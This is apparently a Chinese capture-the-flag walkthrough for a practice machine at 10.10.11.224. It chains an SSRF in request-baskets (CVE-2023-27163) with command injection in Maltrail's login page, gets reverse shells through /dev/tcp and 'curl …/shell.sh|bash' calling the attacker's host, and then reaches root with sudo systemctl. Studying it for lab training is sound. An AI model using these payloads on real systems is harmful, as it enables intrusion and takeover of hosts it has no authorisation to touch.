启动靶机之后拿到靶机的ip,这里我建议在连接靶场VPN的时候把tcp和udp的两个协议的配置文件都下载下来,然后分别在kali和windows上面使用,这样就不会导致ip冲突,反复掉线的情况。
nmap扫描端口
nmap -p- --min-rate 5000 10.10.11.224
发现端口如下
漏洞发现
其中55555端口比较可疑,我们在web端访问试一下
主要看到Powered by request-baskets | Version: 1.2.1
我们根据这个信息搜索该框架的漏洞
[request-baskets 服务端请求伪造漏洞(CVE-2023-27163)]
https://avd.aliyun.com/detail?id=AVD-2023-27163
https://github.com/entr0pie/CVE-2023-27163
大概就是:
request baskets服务存在api接口/api/baskets/{name},/baskets/{name},这里的name可以任意,这些接口会接收一个forward_url参数,而这个参数存在SSRF漏洞。
向/api/baskets/{name}发送forward_url参数后,需要访问10.10.11.224:55555/{name}来触发SSRF漏洞(请求给定的forward_url)。
利用方法:
之前我们发现靶机的80端口无法直接访问,因此我们可以通过该漏洞访问靶机的80端口,操作方法如下:
首先创建一个url
设置需要利用ssrf漏洞访问的端口,再保存
然后我们就可以直接访问我们刚刚创建的url了
http://10.10.11.224:55555/swdd
显示如下:
重点看到这里
Powered by Maltrail (v0.53)
Hide threat
Report false positive
我们可以直接搜索一下Maltrail存在什么漏洞
https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
发现存在命令执行漏洞
利用方式为:
username=;`要执行的命令`
命令执行的点位于80端口的login页面中,因此上面的url我们应该更改为
http://10.10.11.224:55555/swdd/login
这里我们发现出现了login failed就证明我们成功的进入了登陆界面
那么既然我们找到了可以命令执行的地方,那么接下来我们要做的就是直接反弹shell,这里选择使用hackbar
反弹shell命令,使用post请求
username=;`bash -i >& /dev/tcp/10.10.16.13/12345 0>&1` #ip,端口自己指定
发现这样子反弹shell监听端口无法接受到流量,因此我们换一种方式
创建一个shell.sh的脚本内容如上。
监听80端口的http服务。
命令执行改为
username=;`curl 10.10.16.13/shell.sh|bash`
方法如下:
https://gtfobins.github.io/gtfobins/systemctl/
大概就是我们直接运行
sudo systemctl status trail.service
会出现交互界面,我们输入!sh就能拿到root权限
注意
如果直接使用sudo systemctl的话有可能不回出现交互。
我们需要执行
python3 -c 'import pty;pty.spawn("/bin/bash")'